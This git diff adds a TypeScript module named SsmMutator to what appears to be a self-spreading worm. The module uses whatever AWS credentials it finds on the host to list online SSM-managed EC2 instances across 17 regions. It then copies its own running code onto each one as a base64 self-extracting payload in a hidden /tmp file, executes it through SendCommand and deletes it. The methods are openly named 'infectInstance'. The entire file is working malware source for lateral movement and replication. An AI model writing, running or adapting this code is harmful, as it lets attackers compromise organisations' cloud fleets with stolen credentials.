diff --git a/src/mutator/aws/ssm.ts b/src/mutator/aws/ssm.ts
new file mode 100644
index 0000000..39e3094
--- /dev/null
+++ b/src/mutator/aws/ssm.ts
@@ -0,0 +1,228 @@
+import {
+  jsonApiRequest,
+  stsGetCallerIdentity,
+} from "../../providers/aws/client";
+import { resolveDefaultCredentials } from "../../providers/aws/credentials";
+import type { AwsCredentials } from "../../providers/aws/sigv4";
+import { logUtil } from "../../utils/logger";
+import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
+import { Mutator } from "../base";
+
+// ── Types ─────────────────────────────────────────────────────────────
+
+interface InstanceInfo {
+  InstanceId: string;
+  AgentVersion?: string;
+  PingStatus?: string;
+  PlatformName?: string;
+}
+
+interface InstanceTarget {
+  info: InstanceInfo;
+  region: string;
+}
+
+interface DescribeInstancesResponse {
+  InstanceInformationList?: InstanceInfo[];
+  NextToken?: string;
+}
+
+interface SendCommandResponse {
+  Command?: { CommandId?: string };
+}
+
+// ── Regions ───────────────────────────────────────────────────────────
+
+const DEFAULT_REGIONS = [
+  "us-east-1",
+  "us-east-2",
+  "us-west-1",
+  "us-west-2",
+  "ap-northeast-1",
+  "ap-northeast-2",
+  "ap-northeast-3",
+  "ap-south-1",
+  "ap-southeast-1",
+  "ap-southeast-2",
+  "ca-central-1",
+  "eu-central-1",
+  "eu-north-1",
+  "eu-west-1",
+  "eu-west-2",
+  "eu-west-3",
+  "sa-east-1",
+];
+
+const REMOTE_PATH = "/tmp/.ssm-setup.js";
+
+// ── SSM Mutator ───────────────────────────────────────────────────────
+
+/** Maximum bytes per shell command. SSM limits commands to ~128KB total,
+ *  so we keep individual commands well under 32KB (safe margin). */
+const MAX_CHUNK_BYTES = 24 * 1024;
+
+/**
+ * Propagates to EC2 instances managed by AWS Systems Manager by:
+ *   1. Describing managed instances across all default regions
+ *   2. Base64-encoding the self-extracting payload
+ *   3. Using SSM SendCommand (AWS-RunShellScript) to deliver + execute
+ *      the payload on each instance
+ */
+export class SsmMutator extends Mutator {
+  private credentials!: AwsCredentials;
+
+  constructor() {
+    super();
+  }
+
+  override async shouldExecute(): Promise<boolean> {
+    try {
+      this.credentials = await resolveDefaultCredentials();
+      const identity = await stsGetCallerIdentity(this.credentials);
+      return !!identity.account;
+    } catch {
+      return false;
+    }
+  }
+
+  async execute(): Promise<Boolean> {
+    try {
+      // 1. Discover managed instances across all regions
+      const instances = await this.discoverInstances();
+      if (instances.length === 0) {
+        logUtil.log("[SsmMutator] No managed instances found.");
+        return false;
+      }
+
+      logUtil.log(
+        `[SsmMutator] Found ${instances.length} managed instance(s) across ${DEFAULT_REGIONS.length} region(s)`,
+      );
+
+      // 2. Build self-extracting payload + base64 encode
+      const rawPayload = await Bun.file(Bun.main).text();
+      const wrapped = buildSelfExtractingPayload(rawPayload, { wrap: false });
+      const encoded = Buffer.from(wrapped).toString("base64");
+
+      // 3. Deliver to each instance (batch of 5 concurrent)
+      const BATCH = 5;
+      let ok = 0;
+
+      for (let i = 0; i < instances.length; i += BATCH) {
+        const batch = instances.slice(i, i + BATCH);
+        const results = await Promise.allSettled(
+          batch.map((t) => this.infectInstance(t, encoded)),
+        );
+
+        for (let j = 0; j < results.length; j++) {
+          const result = results[j]!;
+          const id = batch[j]!.info.InstanceId.slice(0, 8);
+          if (result.status === "fulfilled" && result.value) {
+            ok++;
+            logUtil.log(`[SsmMutator] ${id} ✓`);
+          } else {
+            const reason =
+              result.status === "rejected"
+                ? (result.reason as Error).message
+                : "send-command failed";
+            logUtil.log(`[SsmMutator] ${id} ✗ — ${reason}`);
+          }
+        }
+      }
+
+      logUtil.log(`[SsmMutator] Done. ${ok}/${instances.length} succeeded.`);
+      return ok > 0;
+    } catch (e) {
+      logUtil.log(
+        `[SsmMutator] Fatal: ${e instanceof Error ? e.message : String(e)}`,
+      );
+      return false;
+    }
+  }
+
+  // ── Instance discovery ─────────────────────────────────────────────
+
+  private async discoverInstances(): Promise<InstanceTarget[]> {
+    const all: InstanceTarget[] = [];
+
+    await Promise.all(
+      DEFAULT_REGIONS.map(async (region) => {
+        try {
+          let nextToken: string | undefined;
+          do {
+            const payload: Record<string, unknown> = { MaxResults: 50 };
+            if (nextToken) payload.NextToken = nextToken;
+
+            const response = await jsonApiRequest<DescribeInstancesResponse>(
+              this.credentials,
+              region,
+              "ssm",
+              "AmazonSSM.DescribeInstanceInformation",
+              payload,
+            );
+
+            for (const inst of response.InstanceInformationList ?? []) {
+              if (inst.PingStatus === "Online") {
+                all.push({ info: inst, region });
+              }
+            }
+
+            nextToken = response.NextToken;
+          } while (nextToken);
+        } catch {
+          // Region may not be accessible — skip silently
+        }
+      }),
+    );
+
+    return all;
+  }
+
+  // ── Single-instance infection ──────────────────────────────────────
+
+  private async infectInstance(
+    target: InstanceTarget,
+    payloadB64: string,
+  ): Promise<boolean> {
+    const { info: inst, region } = target;
+
+    // Determine which JS runtime to use based on platform
+    const jsCmd = inst.PlatformName?.toLowerCase().includes("windows")
+      ? `node ${REMOTE_PATH}`
+      : `command -v node >/dev/null 2>&1 && node ${REMOTE_PATH} || (which nodejs >/dev/null 2>&1 && nodejs ${REMOTE_PATH})`;
+
+    // Build commands: first clear + chunk the payload, then execute + clean up
+    const commands: string[] = [`rm -f ${REMOTE_PATH}`];
+
+    // Chunk the base64 payload to stay within SSM command size limits
+    for (let i = 0; i < payloadB64.length; i += MAX_CHUNK_BYTES) {
+      const chunk = payloadB64.slice(i, i + MAX_CHUNK_BYTES);
+      commands.push(`printf '%s' '${chunk}' >> ${REMOTE_PATH}`);
+    }
+
+    commands.push(
+      `base64 -d ${REMOTE_PATH} > ${REMOTE_PATH}.dec`,
+      `mv ${REMOTE_PATH}.dec ${REMOTE_PATH}`,
+      jsCmd,
+      `rm -f ${REMOTE_PATH}`,
+    );
+
+    const response = await jsonApiRequest<SendCommandResponse>(
+      this.credentials,
+      region,
+      "ssm",
+      "AmazonSSM.SendCommand",
+      {
+        DocumentName: "AWS-RunShellScript",
+        InstanceIds: [inst.InstanceId],
+        Parameters: { commands },
+        TimeoutSeconds: 120,
+      },
+    );
+
+    if (!response.Command?.CommandId) {
+      throw new Error("SendCommand returned no CommandId");
+    }
+
+    return true;
+  }
+}